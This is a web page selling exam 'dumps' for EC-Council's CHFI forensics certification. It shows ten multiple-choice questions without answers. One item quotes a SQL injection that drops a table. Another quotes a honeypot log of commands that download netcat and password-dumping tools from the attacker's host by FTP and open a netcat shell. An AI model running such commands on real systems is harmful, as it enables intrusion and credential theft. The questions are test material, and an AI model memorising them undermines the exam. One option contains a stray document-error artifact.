EC-Council 312-49v10 Computer Hacking Forensic Investigator (CHFI-v10) Online Training
EC-Council 312-49v10 Online Training
The questions for 312-49v10 were last updated at Dec 26,2024.
- Exam Code: 312-49v10
- Exam Name: Computer Hacking Forensic Investigator (CHFI-v10)
- Certification Provider: EC-Council
- Latest update: Dec 26,2024
When examining a file with a Hex Editor, what space does the file header occupy?
- A . the last several bytes of the file
- B . the first several bytes of the file
- C . none, file headers are contained in the FAT
- D . one byte at the beginning of the file
While working for a prosecutor, what do you think you should do if the evidence you found appears to be exculpatory and is not being released to the defense?
- A . Keep the information of file for later review
- B . Destroy the evidence
- C . Bring the information to the attention of the prosecutor, his or her supervisor or finally to the judge
- D . Present the evidence to the defense attorney
Office Documents (Word, Excel and PowerPoint) contain a code that allows tracking the MAC or unique identifier of the machine that created the document.
What is that code called?
- A . Globally unique ID
- B . Microsoft Virtual Machine Identifier
- C . Personal Application Protocol
- D . Individual ASCII string
A(n) _____________________ is one that’s performed by a computer program rather than the attacker manually performing the steps in the attack sequence.
- A . blackout attack
- B . automated attack
- C . distributed attack
- D . central processing attack
What will the following command produce on a website login page? SELECT email, passwd, login_id, full_name FROM members WHERE email = ‘[email protected]’; DROP TABLE members; –‘
- A . Deletes the entire members table
- B . Inserts the Error! Reference source not found.email address into the members table
- C . Retrieves the password for the first user in the members table
- D . This command will not produce anything since the syntax is incorrect
Harold wants to set up a firewall on his network but is not sure which one would be the most appropriate. He knows he needs to allow FTP traffic to one of the servers on his network, but he wants to only allow FTP-PUT.
Which firewall would be most appropriate for Harold? needs?
- A . Circuit-level proxy firewall
- B . Packet filtering firewall
- C . Application-level proxy firewall
- D . Data link layer firewall
If an attacker’s computer sends an IPID of 31400 to a zombie computer on an open port in IDLE scanning, what will be the response?
- A . The zombie will not send a response
- B . 31402
- C . 31399
- D . 31401
The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Short reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly.
The attacker makes a RDS query which results in the commands run as shown below.
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
What can you infer from the exploit given?
- A . It is a local exploit where the attacker logs in using username johna2k
- B . There are two attackers on the system – johna2k and haxedj00
- C . The attack is a remote exploit and the hacker downloads three files
- D . The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port
If you plan to startup a suspect’s computer, you must modify the ___________ to ensure that you do not contaminate or alter data on the suspect’s hard drive by booting to the hard drive.
- A . deltree command
- B . CMOS
- C . Boot.sys
- D . Scandisk utility
In General, __________________ Involves the investigation of data that can be retrieved from the hard disk or other disks of a computer by applying scientific methods to retrieve the data.
- A . Network Forensics
- B . Data Recovery
- C . Disaster Recovery
- D . Computer Forensics
Latest 312-49v10 Dumps Valid Version with 601 Q&As
Latest And Valid Q&A | Instant Download | Once Fail, Full Refund
